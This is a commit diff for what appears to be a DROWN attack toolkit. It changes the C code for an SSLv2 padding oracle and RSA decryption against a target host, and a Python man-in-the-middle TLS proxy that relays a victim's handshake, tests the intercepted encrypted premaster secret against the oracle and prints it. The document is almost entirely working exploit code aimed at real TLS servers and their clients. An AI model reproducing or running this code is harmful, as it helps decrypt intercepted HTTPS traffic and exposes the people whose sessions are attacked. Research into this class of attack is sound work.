Little fixes and additions

Author: Tim---

Makefile

@@ -1,18 +1,19 @@
-CFLAGS=-I$(SSL_PREFIX)/include
+CFLAGS=-I$(SSL_PREFIX)/include -O3
+#CFLAGS=-I$(SSL_PREFIX)/include -g
 LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
 DECRYPT_OBJS=drown.o oracle.o trimmers.o decrypt.o utils.o
 TRIMMABLE_OBJS=trimmable.o oracle.o trimmers.o decrypt.o utils.o
 
 all: decrypt trimmable
 
 decrypt: $(DECRYPT_OBJS)
-	gcc -g -o $@ $^ $(LDFLAGS)
+	gcc -o $@ $^ $(LDFLAGS)
 
 trimmable: $(TRIMMABLE_OBJS)
-	gcc -g -o $@ $^ $(LDFLAGS)
+	gcc -o $@ $^ $(LDFLAGS)
 
 %.o: %.c
-	gcc -g -c -o $@ $^ $(CFLAGS)
+	gcc -c -o $@ $^ $(CFLAGS)
 
 clean:
 	rm -f decrypt trimmable $(DECRYPT_OBJS) $(TRIMMABLE_OBJS)

decrypt.c

@@ -28,10 +28,10 @@ void oracle_guess(drown_ctx *dctx, BIGNUM *c, BIGNUM *k, int bsize)
 }
 
 /*
-    Checks whether c is valid.
+    Checks whether c is valid for any length of padding we know.
     Returns the numbers of bits we can learn (0 if invalid).
 */
-int oracle_valid(drown_ctx *dctx, BIGNUM *c)
+int oracle_valid_multiple(drown_ctx *dctx, BIGNUM *c)
 {
     unsigned char enc_key[256] = {0};
 
@@ -40,13 +40,29 @@ int oracle_valid(drown_ctx *dctx, BIGNUM *c)
 
     // Run the oracle
     int size = run_oracle_valid_multiple(dctx->hostport, enc_key, 256);
-
     if(size == 0)
         return 0;
     else
         return (size + 1) * 8;
 }
 
+/*
+    Checks whether c is correctly padded to 24 bytes.
+    Returns the numbers of bits we can learn (0 if invalid).
+*/
+int oracle_valid(drown_ctx *dctx, BIGNUM *c)
+{
+    unsigned char enc_key[256] = {0};
+
+    // Convert c to array
+    BN_bn2bin(c, enc_key + 256 - BN_num_bytes(c));
+
+    // Run the oracle
+    if(run_oracle_valid(dctx->hostport, 24, enc_key, 256))
+        return 25*8;
+    return 0;
+}
+
 /*
     Finds a multiplier s, so that c * (s * l_1) ** e is valid
     Updates c, s, mt, l, ?
@@ -126,7 +142,7 @@ void decrypt(drown_ctx *dctx)
     // where g is the bits of m0 (found by the oracle)
 
 
-    int l = oracle_valid(dctx, c);
+    int l = oracle_valid_multiple(dctx, c);
     oracle_guess(dctx, c, mt, l);
     int u = 2032;
     BN_set_bit(mt, 2033);

oracle.c

@@ -104,7 +104,7 @@ void send_client_hello(SSL *s)
 }
 
 
-void recv_server_hello(SSL *s)
+int recv_server_hello(SSL *s)
 {
     unsigned int n;
     oracle_ssl2_do_read(s);
@@ -133,7 +133,9 @@ void recv_server_hello(SSL *s)
 
     // CIPHER-SPECS-LENGTH
     n2s(p, n);
-    assert(n > 0);
+    if(n == 0)
+        // cipher not supported ?
+        return 0;
 
     // CIPHER-SPECS
     s->session->cipher = s->method->get_cipher_by_char(d);
@@ -147,6 +149,8 @@ void recv_server_hello(SSL *s)
     // CONNECTION-ID
     memcpy(s->s2->conn_id, d, n);
     d += n;
+
+    return 1;
 }
 
 void send_client_master_key(SSL *s, unsigned char *master_key, unsigned int clear_key_length, unsigned char *encrypted_key, unsigned int encrypted_key_length)
@@ -307,7 +311,8 @@ SSL * oracle_query(char *hostport, unsigned int keysize, unsigned char *clear_ke
     // We are connected, great !
     // Now send client hello
     send_client_hello(ssl);
-    recv_server_hello(ssl);
+    if(!recv_server_hello(ssl))
+        return NULL;
     send_client_master_key(ssl, clear_key, clear_key_length, encrypted_key, encrypted_key_length);
     // Now we can "start" the encryption
     ssl->s2->clear_text=0;
@@ -330,6 +335,8 @@ int run_oracle_valid(char *hostport, unsigned int keysize, unsigned char *encryp
     memset(clear_key, 0, keysize);
 
     SSL *ssl = oracle_query(hostport, keysize, clear_key, sizeof(clear_key), encrypted_key, encrypted_key_length);
+    if(ssl == NULL)
+        return 0;
 
     int res = oracle_check_valid(ssl);
 

tlsgandalf.py

@@ -22,7 +22,7 @@ def handshakeProxy(c_conn, s_conn, oracle):
         else: break
     clientHello = result
 
-    c_conn.version = clientHello.client_version
+    c_conn.version = (3, 1) # TODO : Hardcoded version ?
 
     for result in c_conn._sendMsg(clientHello):
         yield result
@@ -45,14 +45,27 @@ def handshakeProxy(c_conn, s_conn, oracle):
     # CERTIFICATE           S -> C
     for result in c_conn._getMsg(ContentType.handshake,
                            HandshakeType.certificate,
-                           serverHello.certificate_type):
+                           serverHello.certificate_type): # FIXME : we should only allow RSA
         if result in (0,1): yield result
         else: break
-    certificate = result
+    serverCertificate = result
 
-    for result in s_conn._sendMsg(certificate):
+    for result in s_conn._sendMsg(serverCertificate):
         yield result
 
+
+    # TODO : this part is optional
+    # CERTIFICATE REQUEST   S -> C
+    for result in c_conn._getMsg(ContentType.handshake,
+                           HandshakeType.certificate_request):
+        if result in (0,1): yield result
+        else: break
+    certificate_request = result
+
+    for result in s_conn._sendMsg(certificate_request):
+        yield result
+
+
     # SERVER HELLO DONE     S -> C
     for result in c_conn._getMsg(ContentType.handshake,
                            HandshakeType.server_hello_done):
@@ -63,6 +76,19 @@ def handshakeProxy(c_conn, s_conn, oracle):
     for result in s_conn._sendMsg(serverHelloDone):
         yield result
 
+    # TODO : this part is optional
+    # CERTIFICATE           C -> S
+    for result in s_conn._getMsg(ContentType.handshake,
+                           HandshakeType.certificate,
+                           serverHello.certificate_type): # FIXME : we should allow anything ?
+        if result in (0,1): yield result
+        else: break
+    clientCertificate = result
+
+    for result in c_conn._sendMsg(clientCertificate):
+        yield result
+
+
     # CLIENT KEY EXCHANGE   C -> S
     for result in s_conn._getMsg(ContentType.handshake,
                            HandshakeType.client_key_exchange,
@@ -75,8 +101,11 @@ def handshakeProxy(c_conn, s_conn, oracle):
     epms = clientKeyExchange.encryptedPreMasterSecret
     if not oracle(epms):
         # YOU SHALL NOT PASS !
+        print("You shall not pass")
         return
 
+    print("Found trimmer !")
+
     print(hexlify(epms).decode())
 
     # If it's ok, continue
@@ -110,9 +139,9 @@ def handshakeProxy(c_conn, s_conn, oracle):
 
     # Get parameters
     listenaddr, connectaddr, oracleaddr, cert = sys.argv[1:]
-    listenaddr = (listenaddr.split(':')[0], int(listenaddr.split(':')[1]))
-    connectaddr = (connectaddr.split(':')[0], int(connectaddr.split(':')[1]))
-    oracleaddr = (oracleaddr.split(':')[0], int(oracleaddr.split(':')[1]))
+    listenaddr = (listenaddr.rsplit(':', 1)[0], int(listenaddr.rsplit(':', 1)[1]))
+    connectaddr = (connectaddr.rsplit(':', 1)[0], int(connectaddr.rsplit(':', 1)[1]))
+    oracleaddr = (oracleaddr.rsplit(':', 1)[0], int(oracleaddr.rsplit(':', 1)[1]))
 
     oracle = lambda epms: not subprocess.call(["./trimmable", '{}:{}'.format(*oracleaddr), cert, hexlify(epms)])